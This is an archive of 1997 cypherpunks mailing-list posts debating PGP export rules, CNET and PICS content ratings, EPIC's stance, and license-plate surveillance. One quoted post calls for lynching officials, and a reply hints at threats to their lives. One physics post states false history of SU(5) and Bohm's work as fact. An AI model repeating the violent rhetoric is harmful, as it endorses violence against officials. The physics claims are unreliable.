Date: Thu, 24 Jul 1997 19:02:23 +0800
To: CST Administration Dept <admin@CyberSpaceTechnologies.com>
Subject: Re:I have had ENOUGH of this government bullshit!!
In-Reply-To: <199707240727.CAA07675@oceanus.host4u.net>
Message-ID: <Pine.LNX.3.93.970724164115.102C-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 24 Jul 1997, CST Administration Dept wrote:

> Screw this. I have finally blown my stack over this bullshit governmental
> crap. From this oint forward, I fully and completely make available, IN THE
> U.S, the International version of PGP 2.63.ix.

Um its RSA that prevent the distrabution of the international version of
PGP in the USA not the goverment.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jbugden@alis.com
Date: Fri, 25 Jul 1997 05:39:53 +0800
To: <cryptography@c2.net>
Subject: Internet makes resistance futile, Clinton aide warns
Message-ID: <9707248697.AA869779597@alis-1.alis.com>
MIME-Version: 1.0
Content-Type: text/plain




Internet makes resistance futile, Clinton aide warns

This byline appeared in The Financial Post of July 24, 1997 at the top of the
front page.

The subsequent article discussed not crypto, but Canadian attempts to regulate
television content. Even so, the second paragraph is succinct, and applicable to
both debates. 

"Ira Magaziner, Clinton's international emissary on the issue of how governments
should respond to the explosive growth of business on the Net, said any attempt
to regulate its content would not only be a mistake, it would be futile."

Perhaps someone should get Mr. Magaziner back to Washington to explain this to
the administration.

Ciao,
James
jbugden@alis.com

Great minds think alike, fools seldom differ.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Charles" <apache@gargoyle.apana.org.au>
Date: Thu, 24 Jul 1997 16:24:03 +0800
To: chris_barr@cnet.com
Subject: Re: CNET editor endorses self-labeling, "news site" standard
In-Reply-To: <v0300780eaffc497496bf@[168.161.105.191]>
Message-ID: <199707240728.RAA27801@gargoyle.apana.org.au>
MIME-Version: 1.0
Content-Type: text/plain



I noted the following on the cypherpunks mail list and would like to
make a few comments concerning your recent CNET article which you
will find following the comments made by Declan McCullagh.

> Since the Supreme Court said the online world should be
> as free as print, and no self-labeling system exists
> for magazines or newspapers, why should the Net be any
> different? Why isn't the Net community opposing
> "mandatory voluntary" self-labeling systems as
> staunchly as newspapers and magazines would fight a
> similar requirement? It's best to ask these questions
> of Christopher Barr (chris_barr@cnet.com), editor in
> chief of CNET, who endorsed such a proposal in his
> column below.
> 
> Barr says that he wants to ensure "that
> only real news organizations claim [the] privilege"
> of rating as news sites with RSACnews. But who decides
> what's a news site? Is CNET? pathfinder.com? epic.org,
> which the government treats as a news site when responding
> to FOIA requests? The Drudge Report? How about the NAMBLA
> News Journal?
> 
> My report on the possible perils of such systems is at:
> 
>   http://pathfinder.com/netly/opinion/0,1042,1173,00.html
> 
> -Declan
> 
> ****************
> 
> http://www.cnet.com/Content/Voices/Barr/072197/index.html
> 
> rating online content can work (7/21/97)
> 
> With the Communications Decency Act vanquished once
> and for all, it's time to explore alternatives for
> protecting our youth from inappropriate online
> content. As an independent content provider, CNET's
> position has always been to give the power to the
> reader (or the reader's parents) and not the

Let's face it the ratings system has very little to do with giving
power to the reader, indeed it is primarily aimed at taking power
away from the reader to make decisions for themselves and placing
that power in someone elses hands.

> government, to decide which sites have acceptable
> content. And now, President Clinton has been forced to
> come around to our way of thinking. After initially
> supporting the CDA, Clinton is recommending that sites
> rate themselves and that parents use filtering
> software to set limits for their children.
> 
> Self rating systems allow sites to attach labels to
> themselves to indicate what kind of content the sites
> contain. The labels are interpreted via the Platform
> for Internet Content Selection (PICS) technology
> endorsed by the World Wide Web Consortium standards
> body. The PICS technology allows any group, such as
> the PTA or a church, to set content standards that can
> then be adopted by individual Web sites. There are
> already several rating services such as the
> Recreational Software Advisory Council on the Internet
> (RSACi), Safe For Kids, and SafeSurf. Early on, CNET
> supported the RSACi rating system and chose to rate
> both CNET.COM and NEWS.COM.
> 
> Controlling content takes two things: content-ratings
> and filtering-software. A number of software programs,
> including Cyber Patrol, Cyber Sentry, Internet
> Explorer, and SurfWatch, already support PICS and can
> read the rating labels. Such software blocks out any
> sites that don't correspond to the ratings you've
> selected. For instance, if your rating system says
> that images with partial nudity are inappropriate, the
> software won't load those pages.
> 
> To be sure, filtering- or blocking-software is not
> without limitations. A number of groups, including the
> American Civil Liberties Union and the Electronic
> Privacy Information Center, support the use of such
> software on principle, but they also point out that

EPIC certainly does NOT support the use of such software in
principle. Please post a prominent correction on your 'news' site. I 
qualify the terms news site only to point out that whether your site 
is actually a legitimate news site in the opinion of others will 
vary and to note that having never heard of CNET before and being 
cognizant of this particular factual error I have stumbled across and 
the blatant hypocracy of your arguments I would probably classify it 
as a 'fantasy site' however I'll withhold judgement until I've seen a 
little more of CNET. You probably question my ability and right to 
judge you and I may question your ability or someone elses to judge 
what is a legitimate news site; so what? Thats the problem, just who 
will judge who and why should it matter. The concept is absurd and 
repugnant. Marc Rotenburg, a director of EPIC, has emailed you a 
thoughtful response and considering the nature of your factual error 
it would be heartening to see his letter published unedited and in 
full to correct your error.

> filtering software can be used to block any kind of
> content, not just sexually explicit material, and so
> it can end up restricting free speech. These groups

Am I correct in assuming from this that so long as only sexual 
material is blocked this is not restrictive of free speech in your 
view?

> are also fearful that a foreign government could use
> filtering software to control what content its
> citizens can access. These are just a few of the
> thorny issues that the technology introduces.    

Do you feel that if the ratings system becomes widely deployed your 
own government would be above this? What was the nature of the CDA 
that was recently defeated?? Think again.

> Nevertheless, we at CNET feel that content ratings are
> the best alternative, and we'll continue to rate
> ourselves using the RSACi guidelines. But we also feel

Yet you go on to say that you yourself should be subject to less 
onerous ratings due to your self-proclaimed 'news' status. Should we 
introduce all sorts of exemptions to allow art galleries to publish 
their nudes on the net, or photographers to publish similar works of 
art (hint: one mans art is anothers pornography and vice versa), or 
indeed pictures or text describing the massacres in East Timore which 
would be offensive and hurtful to many, not the least of which would 
be members of the Indonesian government; or are such text and images 
only appropriate when found on a self proclaimed 'news' site?

> that different rating systems are necessary to cover
> different types of sites. For example, sites that
> carry news stories cannot be accurately rated under
> the RSACi standards. These were created to allow
> parents to block sites with nudity, sex, violence, and
> offensive language. But what happens when you visit a

Oh I get it, the ratings system is good enough for everyone _else_ 
but not for your own special unique position.

> news site that publishes pictures from a war zone
> depicting death and destruction? Or a legitimate news
> story about an online scam involving pornography

Are only 'news' sites given constitutional protection in the USA?

> sites? Microsoft faces this dilemma: its Internet
> Explorer supports PICS but several of the rating
> systems unintentionally block access to its news site,
> MSNBC.

Prima facia the material must have been offensive under their own
voluntary guidelines; thus it _should_ be censored. Perhaps
self-imposed censorship is running into the same sorts of problems
commonly experienced with government imposed censorship. 

> Because of situations like these, we feel that bona 
> fide news sites should be subject to different 
> criteria. To that end, CNET is also a founding member

No doubt you would.

> of the Internet Content Coalition, which seeks to
> establish ratings for news sites and to make sure that
> only real news organizations claim this privilege.

Looks to me like an attempt to establish your own little power group
to ensure that the rules of censorship you advocate apply to
everyone but yourselves whilst at the same time hypocritically
proclaiming you support censorship based on ratings.

> Users can then choose to allow access to news while
> selecting another rating system like RSACi that
> prohibits access to other kinds of sites. We intend to

...which may carry the very same material you propose to publish 
under your 'special' 'news' category.

> use the Internet Content Coalition's guidelines to
> rate NEWS.COM, while other of our sites, such as
> GAMECENTER.COM, will be rated using more restrictive
> systems.  

How very convenient and cosy for CNET.
 
> The success of any self-rating and filtering system
> depends on how well it works and how it's accepted and
> used. What's your opinion? Do you use filtering

It's a silly idea.

> software? Should news sites have a separate rating?

No and no. 

Should any material I come across be unsuitable for me I find the
'back' button more convenient, easier to set up and allows more
discretion.

> Email me and I'll put the responses in my next column.

Look forward to seeing my comments up there.
 
> Christopher Barr is editor in chief of CNET.

Once you start advocating exceptions to the very censorship (oops I
mean ratings) system you advocate your going to run into all sorts of
problems. From your perspective you see 'legitimate news sites'
(whatever that is supposed to mean..is CNET as _legitimate_ as say
TIME; I hardly think so. If you succeed in establishing this you'll
be squashed by the big boys as being illegitimate and new players to
the news game will never get a look in as a 'legitimate news site')
others will see their own equally worthy interests, perhaps more
worthy in the opinion of some, as exceptions to the general rule eg.
art galleries, womens sexuality and health centres, moslems offended
by christianity, Palestinians offended by Jews, homosexual sites,
family planning sites etc etc etc. They all will have valid
arguments why they should be allowed to promulgate certain material
if you accept that news sites have a valid argument why the full
effect of voluntary censorship ratings should not be applied.

I once had sympathy for voluntary ratings. I can respect your 
position somewhat if the ratings are applied _consistently_. That 
means no exceptions. Exceptions based on utility raises all sorts of 
difficulties and really just points out how silly the whole idea is 
in the first place. If, however, you favour such a system go ahead but 
please don't advocate that different rules should be applied to 
different people or organizations. My concerns with voluntary ratings 
are:

1. that they be truly voluntary with _no_, I'll say that again NO 
coercive power applied to enforce such ratings.

2. the net community, by developing and deploying this software and 
ratings system is handing governments around the world a means to 
censor the net. All they need do once such a system becomes widely 
deployed is step in and pass laws that make it _mandatory_ not 
voluntary. We see such a proposal already here in Australia where it 
is proposed ISP s be subject to massive fines for the content carried 
over the wires unless it can be shown, to the satisfaction of a 
government authority, they did their utmost to prevent certain 
content (ie impose a mandatory voluntary ratings system). This plays 
right into the hands of the government censors who would dismally 
fail to censor the net unless we, as net users, developers etc, hand 
them the solution on a plate.

3. to be consistent you should advocate voluntary ratings for books,
libraries, magazines, newsletters, news papers, billboards,
unsolicited snail mail, government pamphlets etc. I note here the
American Libraries opposition to filtering software and the
violation of the 1st amendment that would probably occur through the
use of such filtering in libraries and some other sites.

This brings to mind another question. What enforcement procedures
do you have in mind where a site claims to be a legitimate news site
under your proposed scheme but your group thinks it is clearly not?

Just who is going to decide what is legitimate and what is not?

Seems to me this has not been very clearly thought through; or 
perhaps it has been clearly thought through and you just want to 
censor everyone else but yourself and your buddies.

I give your article 1 out of 10. Resubmit something better 
researched.
-- 
   .////.   .//    Charles Senescall             apache@quux.apana.org.au
 o:::::::::///     apache@bear.apana.org.au  apache@gargoyle.apana.org.au
>::::::::::\\\     Finger me for PGP PUBKEY            Brisbane AUSTRALIA
   '\\\\\'   \\    Apache





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Fri, 25 Jul 1997 09:11:38 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Spreading Technology (fwd)
In-Reply-To: <199707242319.SAA03028@einstein.ssz.com>
Message-ID: <19970725010517.15644.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



Jim Choate <ravage@ssz.com> writes:

 > The SU(5) theory was arrived at by political contrivance in
 > 1927 when the Solvay Conference was called to resolve the
 > various theories that happened to be flying fast and furious
 > at the time, instigated by DeBroglie.

Excuse me?  SU(5) is a supersymmetric theory.  I seriously doubt
it made its appearance in 1927.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Fri, 25 Jul 1997 09:23:37 +0800
To: Declan McCullagh <rotenberg@epic.org>
Subject: Re: EPIC letter to CNET.COM and the Internet Community (fwd)
In-Reply-To: <Pine.LNX.3.95.970723215720.11839A-100000@vorlon.mit.edu>
Message-ID: <199707250110.SAA13144@netcom4.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




the EPIC letter shows a rather severe misunderstanding of
what many interenet ratings systems are intended to accomplish.
I've written on this subject here and will rebut some of the
claims of the EPIC letter by Marc Rotenberg. (keep in mind,
as you read the following, I am violently opposed to *involuntary* 
rating systems.)

*voluntary* rating systems are in fact another glorious expression of 
free speech, and anyone who advocates free speech will find
themselves in a paradoxically inconsistent point of view
in rejecting such systems.  just as anyone should be free to 
disseminate information,  anyone should be free to comment on
that information. ratings are nothing but "information about 
information" and anyone who claims otherwise would be like someone
arguing for the existence of "illegal bits", as TCM lovingly likes
to call them. amusingly, I have seen TCM argue against voluntary rating
systems here, making the distinction that they are not free speech
but the road to ruin.

PICs was designed from the beginning to be voluntary, and support
voluntary ratings. how is a company that tells you what are some
"hot web pages" different from one that tells you about ones that
are "offensive to children"? there are many of the former that
I've never seen any cypherpunks argue against. surely EPIC would
consider them a good idea. why are the latter a bad idea? what's
the difference between these "good bits" and "bad bits"? answer:
there is none, except in the minds of people who have kneejerk
opinions but not deeply thoughtful insights.

the argument that voluntary rating systems can be quickly
turned into an involuntary one is specious. it's like saying that
if some people are allowed to public fascist magazines, we're
in danger of turning into a fascist country. obviously it's the
same argument the government scaremongers make against free speech.

cypherpunks like to talk about "technical solutions" to problems.
I would like them to begin to understand that a means by which
public opinion is altered is in fact in many cases the only 
possible "technical solution" to some problems. I submit that no amount of 
ingenuity in technical solutions can circumvent a government
or majority of the population that is opposed to your endeavor.
the solution is in part to change public consciousness.  and
to give credit where it is due, the cpunks have done a very 
admirable job of this through the mailing list.

hence, if we have a government that is trying to make voluntary
things mandatory (such as ratings), and clamp down 
on the public, don't you think
you're evading the whole issue by trying to find more ingenious
ways to hide? you're evading the basic question, which is, 
why did the government become like that? why have you accepted
the questionable conclusion that it cannot be changed? do you
think perhaps it became that way because of that opinion? which
came first, the apathy or the tyranny? the lines blur, don't you
think?

if other governments are going to use PICs to manipulate their
public, than is the problem PICs or the governments that are
in that situation? do you think that getting rid of PICs is going
to solve the problem of bad governments? answer: no!! you can
get rid of every opportunity for what you think is a bad government
to exercise its badness, and it will find some ingenious new
way of being bad!! the answer is to fix the government, not to try
to change the ten-bazillion different things it may get its hands onto. one 
problem, one solution.

on to the letter...

>I want to be clear that EPIC, both a plaintiff and counsel in
>the challenge to the Communications Decency Act, does not support
>the use of blocking software in principle or practice. We do not
>support rating systems for the following reasons.
>
>First, we believe that the fundamental purpose of a rating system
>-- to allow one person to decide what information another person
>may receive -- is contrary to the character of the Internet and
>the principles of openness and individuality found in a free society.

a silly restatement of what rating systems do. what mr. rotenberg
fails to note is the obvious distinction between a voluntary and
an involuntary rating system. only the later have the property that
"one person can decide what another can recieve". in fact all rating
systems in existence today are voluntary and merely *advisory*.
they are just *opinions* that people can choose to follow.

>Unlike search engines that allow individuals to select information
>based on their preferences and desires, rating systems impose one
>person's or one organization's viewpoint on another. 

so does a NEWSPAPER!!! perhaps we should ban them!! or is it that
they don't really "impose" anything???

>Such techniques
>could be used as easily by governments against citizens and employers
>against employees as they could by parents against children, as was
>made clear by one of the PICS creators in an early paper on the
>topic.

the government could also use duct tape to suffocate its citizens.
perhaps we should outlaw duct tape? because it has the potential
to be misused by governments?

>Second, we have already seen rating systems used to block access to
>information that could in no reasonable way be considered indecent.

FALSE. these rating systems block access to information when people
volunteer to use the databases. presumably, they SUBSCRIBED TO THOSE
BLOCKING SERVICES FOR EXACTLY THAT SERVICE, I.E. BLOCKING. if I 
subscribed to a blocking service, I would certainly expect that
they did block some sites, wouldn't you? your fuzzy brained thinking
fails to distinguish again between voluntary and involuntary, 
Mr. R...

>Rating systems have blocked access to political organizations,
>medical information, and unpopular viewpoints. In public libraries
>and public schools such techniques violate well established First
>Amendment freedoms. Such products should be roundly criticized by
>Internet publishers, not endorsed.

misleading use of the word "block".  when people stop using the
word "block" in a context where it is clearly not applicable
we'll all be better off. suppose I say to my butler, "please stop
me from eating greasy food" and he stops me. was that involuntary?
did he "block" me against my will?

>Third, we believe that over time rating systes are likely to make it
>easier -- not more difficult -- for governments around the world to
>enforce content-based controls on Internet content. This process is
>already underway in many countries which are now considering
>PICS-based schemes to implement national content controls.

many countries are now considering the best ways to torture their
subjects with rubber hose. perhaps we should regulate rubber hoses
this moment.

 Further,
>our reading of the Supreme Court's opinion in Reno V. ACLU is that
>content based controls would be upheld in the US once rating
>systems and means for age verification and widely available. It
>was the nature of the Internet, and not the availability of rating
>systems, that produced the wonderful outcome in that case. But
>once voluntary standards are in place, statutory controls will
>surely follow.

bzzzzzzzzzzt, only if we have an orwellian government, in which case
you will have much worse things to worry about than a silly PICs
standard. technology is not the problem, but governments who misuse
it. no amount of ingenuity in technology 
will protect you from a bad government. fix the government!!

a flimsily-put-together letter, Mr. R, quite a disappointment.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 25 Jul 1997 07:33:37 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Spreading Technology (fwd)
Message-ID: <199707242319.SAA03028@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Subject: Re: Spreading Technology
> From: shadow@krypton.rain.com (Leonard Erickson)
> Date: Thu, 24 Jul 1997 00:23:37 PST

> >>What did Einstein say? "God does not play dice with the Universe"?

> > This comment was made in reference to the Uncertainty Principle and
> > Einstein's perception of the indeterminancy of quantum mechanics. He
> > supposedly said it so many times that Neils Bohr, who was more
> > philosophically inclined to accept the contradictions in modern physics
> > than Einstein, once became so exasperated that he admonished Einstein to
> > "stop telling God what to do!"
> 
> And after the experiments that pretty much killed the "hidden
> variables" interpretation, one physicist reportedly commented "Not only
> does God play dice, he sometimes throws the dice where they can't be
> seen."

Bohr's objection was one of religion, not reality. His objection was one of
familiarity breeding contempt of God.

It was Stephen Hawking who made the quip about not seeing the dice.

The SU(5) theory was arrived at by political contrivance in 1927 when the
Solvay Conference was called to resolve the various theories that happened
to be flying fast and furious at the time, instigated by DeBroglie. Because
several of these theories were completely in agreement with experiment it was
becoming impossible to make progress because of all the possibilities. The
question asked was "what theory shows the most promise for continued research
and acceptance of requests for operating capital." The SU(5) was arrived at
by majority vote and not experimental verification.

Einstein's objection to the Uncertainty Principle was the same as David
Bohm's. In fact most physicists at the time were opposed to it, the famous 
Schroedinger Cat was meant to be an objection to the theory and in
particular to show how unrealistic it was. If you happen to be willing to do
away with the standard SU(5) theory then the Uncertainty Principle goes away,
a good example is to look at David Bohms 'many worlds' theory as it has no
uncertainty principle involved. Bohm was black-balled by the conventional
physics community because he would not accept the SU(5) even in principle. It
has only been in the last 15 years or so that serious review of Bohm's work
has taken place. Alfven and others have used it and other approaches to bring
many of the basic tenets of the SU(5) and the Big Bang into question.

Interesting aspect is even his most strident opponents admitted their
objection to his theories were based on emotion and mental attitudes and not
on any failure regarding experimental verification. He was and is considered
one of the greatest modern physicists, on a par with Einstein and et ali.

You might check out David Bohm's last book before he died,

The Undivided Universe: An ontological interpretation of quantum theory
D.Bohm, B.J. Hiley
ISBN 0-415-06588-7

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 25 Jul 1997 07:34:04 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Spreading Technology - Ooops
Message-ID: <199707242320.SAA03064@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

Sorry, that comment about David Bohm was not meant for this list.

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Fri, 25 Jul 1997 09:47:55 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: CCTV Cameras in Britain
In-Reply-To: <19970715183341.01502@bywater.songbird.com>
Message-ID: <Pine.LNX.3.95.970724184031.273B-100000@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 15 Jul 1997, Kent Crispin wrote:
> On Tue, Jul 15, 1997 at 05:43:59PM -0700, Steve Schear wrote:
> [.deleted.]
> > I wouldn't.  Its the state's duty to protect my liberties and if they can't
> > or won't the obligation falls on me.
> > The product of liberty and security is a constant.
> This is obviously false.  Zero liberty and zero security is a quite
> possible situation (laying strapped to the table, waiting for your 
> lethal injection, for example), as is some liberty and some security (the 
> normal situation).

	I would say that in the above situation, one is rather well 
secured...


Petro, Christopher C.
petro@suba.com <prefered for any non-list stuff>
snow@smoke.suba.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 25 Jul 1997 13:03:28 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: Brit Fascists To Track Motorists - DigiCash Obsolescent
In-Reply-To: <199707231815.UAA09529@basement.replay.com>
Message-ID: <3.0.2.32.19970724185429.00772da4@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 02:34 AM 7/24/97 -0700, Kent Crispin wrote:
>On Wed, Jul 23, 1997 at 01:59:00PM -0700, Bill Stewart wrote:
>[...]
>> And, yes, all of this privacy loss happens because somebody decided
>> it was convenient to put a car-ownership-tax receipt on the outside
>> of a car so police can quickly decide if you've paid your taxes...
>> The rest of it's just implementation details.
>
>Of course, you could just confine your driving to private roads, and
>leave the license plate off. 

If the government wants to take over all the public commons right-of-way
and pave it for roads, I'm not saying I'm not willing to pay them
for the use of all their nice concrete and asphalt*, though 
government-built roads have led to a whole lot of ecological and social
problems that are far more severe than those a free-market road system
would have given us; free-marketers without eminent domain would have
built fewer roads in generally more efficient places because they'd need 
to make money on each one, though eminent domain may be enough of a 
cost-saver to make up for lower efficiency, and housing and business 
development would have organized more compactly around the roads and
railroads that did get built, allowing less car use.

But the government could have given us all license plates that say 
[StateName][Year] in big letters and the tax receipt in small letters
instead of [CarIdentifier][StateColor] in big and [Year][Receipt#] in small 
like most states do today or [CarIdentifier] in big letters on the back
and [InspectionMonth][YearColor] on the windshield like New Jersey does.
Somehow cops manage to zing people for late car tax payment anyway,
and somehow tax collectors manage to collect taxes on real estate
(which doesn't move, but has owners that do) and wages (paid by often-
mobile businesses to often-mobile workers) and sales well enough without
requiring big taxpayer id# signs on houses, wallets, and merchandise.
And somehow before the automobile we got by without license plates on
horses and buggies and cows, though some people branded their horses or 
cows or painted their names on buggies without the law requiring it
so they could demonstrate ownership if there was a dispute.

The choice to require easy-to-use-rapidly unique identifiers or not 
affects the kinds of transactions that can be done with them.
License plate numbers are primarily useful for social control,
though they're occasionally useful for recovering stolen cars
(if the thieves didn't use fake plates) or following slow white Broncos.
As computers and radio communications increase the speed and 
flexibility of transactions, there are more ways to use them
(cops can look up license plates any time they stop cars, allowing them
to identify dangerous criminals who are too dumb to use fake plates)
mostly for social control, but also to enforce tax collection.

They also make it easier to charge for transactions such as
bridge and freeway use - but they bias the economics towards an
account-based system (since you've got an existing key)
rather than a pay-as-you-go system (like subway tokens or turnpike tolls)
or a pay-by-the-month system (like many transit systems offer,
even for systems like BART and CalTrain that are well equipped for
distance-based billing and some bridge tolls.)  Changing the
transaction costs changes the possible relationships between
supplier and customer, and if the government wants to use them
for social control, some of those relationships make it easier.

[*There are people who refuse to get car license plates and
driver's licenses and marriage licenses and pay taxes on principle, and 
they spend a lot of time arguing common law to judges and cops.
I'm not one of them - as George Gordon says, if you're not having fun
doing this kind of thing, you shouldn't be wasting your time doing it,
and you also risk losing and setting bad precedents.  Our buddy Jim
Bell may or may not agree by this point in time....]

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 25 Jul 1997 07:58:17 +0800
To: Jim Choate <ravage@ssz.com>
Subject: Re: Spreading Technology - Ooops
In-Reply-To: <199707242320.SAA03064@einstein.ssz.com>
Message-ID: <199707242352.SAA12176@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199707242320.SAA03064@einstein.ssz.com>, on 07/24/97 
   at 06:20 PM, Jim Choate <ravage@ssz.com> said:

>Hi,

>Sorry, that comment about David Bohm was not meant for this list.

That's ok Jim it was more intresting that 75% of what has been on the list
lately.

PS: I am going to Amazon.com to see if they have Bohm's book there.

Thanks,

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM9fdXI9Co1n+aLhhAQFhhwP/VS89qqKqUV0a43OV2YH/YlpNnN9zMs5S
M6rIFaHb0Qbccj1jpUaS4Yt8MLgX+TX+eeq4dM6JZvgxDo0sYDojX7V6Cco5MPiQ
RRbN6zEqED1qqBo7YzxAJKuRcs4+GCnRnKvPxBfbrhAW7buWv/BEtX37SWrEGw0X
qoQP3SmjWis=
=Y+H4
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Fri, 25 Jul 1997 10:06:04 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: "The Failure to Do Your Job" amendment (was Re: White House ...)
In-Reply-To: <199707162038.PAA26641@mailhub.amaranth.com>
Message-ID: <Pine.LNX.3.95.970724185832.273C-100000@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 16 Jul 1997, William H. Geiger III wrote:
> Any elected official or govenment employee found to have willfuly violated
> the Constitution of the United States of America should be draged to the
> capitol steps and promptly lynched.

	Then you'd have to lynch those that did the dragging and lynching 
as each induhvidual has the constitutional right to a trial.

Petro, Christopher C.
petro@smoke.suba.com <prefered for any non-list stuff>
snow@smoke.suba.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@vorlon.mit.edu>
Date: Fri, 25 Jul 1997 07:22:20 +0800
To: cypherpunks@toad.com
Subject: "Who the hell are CNET?"
Message-ID: <Pine.LNX.3.95.970724190654.22732I-100000@vorlon.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Thu, 24 Jul 1997 16:04:16 -0700
From: Rose Aguilar <rosea@cnet.com>
To: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Cc: chris_barr@cnet.com, fight-censorship@vorlon.mit.edu
Subject: "Who the hell are CNET?"

For the company explanation go to:
http://www.cnet.com/Community/Welcome/About/profile.html

Here's my explanation:

CNET doesn't compare itself to Microsoft, IBM, or MCI.  Do you categorize a
"significant industry player" based on its household name and revenue status?

CNET has a variety of services...we have 10 Web sites and 4 TV shows...each
one has a different goal.

CNET doesn't "speak" for the whole Net community.  That's not our goal.
Our goal is to _provide_ the Net community with various services whether it
be reviews, news, TV shows, or commentaries, all of which focus on
technology and the Net.  That might not be significant to you Phil, but it
is to the million+ who use our services.  

Netizens may not always agree with CNET's stories, reviews, or
commentaries...and we welcome opinions.  You know the saying: "Negative
feedback is better than no feedback."

Hope this answers your question.

--Rose


At 01:29 PM 7/24/97 -0400, Phillip M. Hallam-Baker wrote:
> I've been wondering for some time. Who the hell are CNET?
>
>I've never heard of them doing anything significant and I have not heard
>of them in relation to any significant industry player. They are not
>Microsoft, not IBM, not MCI.
>
>There is a problem, too many people the idea that they are speaking for
>the whole net community.  Too many people think that because they have
>made a paper fortune from the chumps who invest in the stock market that
>they are somehow important.
>
>        Phill
>
>
>
>
>
>
>
***************************
Rose Aguilar
CNET Radio Reporter/Producer 
150 Chestnut St.
San Francisco, CA  94111 
415/395-7800 X 1227
Fax: 415/395-7815
http://www.radio.com/
***************************





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Fri, 25 Jul 1997 11:12:03 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Our basic rights are not to be traded away for exports
In-Reply-To: <v03102800aff485c28d86@[207.167.93.63]>
Message-ID: <Pine.LNX.3.95.970724200344.273F-100000@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 17 Jul 1997, Tim May wrote:
> At 6:43 PM -0700 7/17/97, Declan McCullagh wrote:
> >We need the administration to do one thing: lift export controls.
> >Then it and Congress should forget all about the Net.
> >-Declan
> I don't think it is going to do that. Unless it gets something _major_ in
> return, as part of a deal.

	Like...Their lives & jobs? 

> And given the choice between liberty and a lifting of export restrictions,
> I know which side I support. No doubt about it.

Petro, Christopher C.
petro@smoke.suba.com <prefered for any non-list stuff>
snow@smoke.suba.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Fri, 25 Jul 1997 11:22:18 +0800
To: Tim May <tcmay@got.net>
Subject: Re: "Time to Walk the Walk down the Gang Plank"
In-Reply-To: <v03102802aff4a4a9d00a@[207.167.93.63]>
Message-ID: <Pine.LNX.3.95.970724201423.273G-100000@smoke.suba.com>
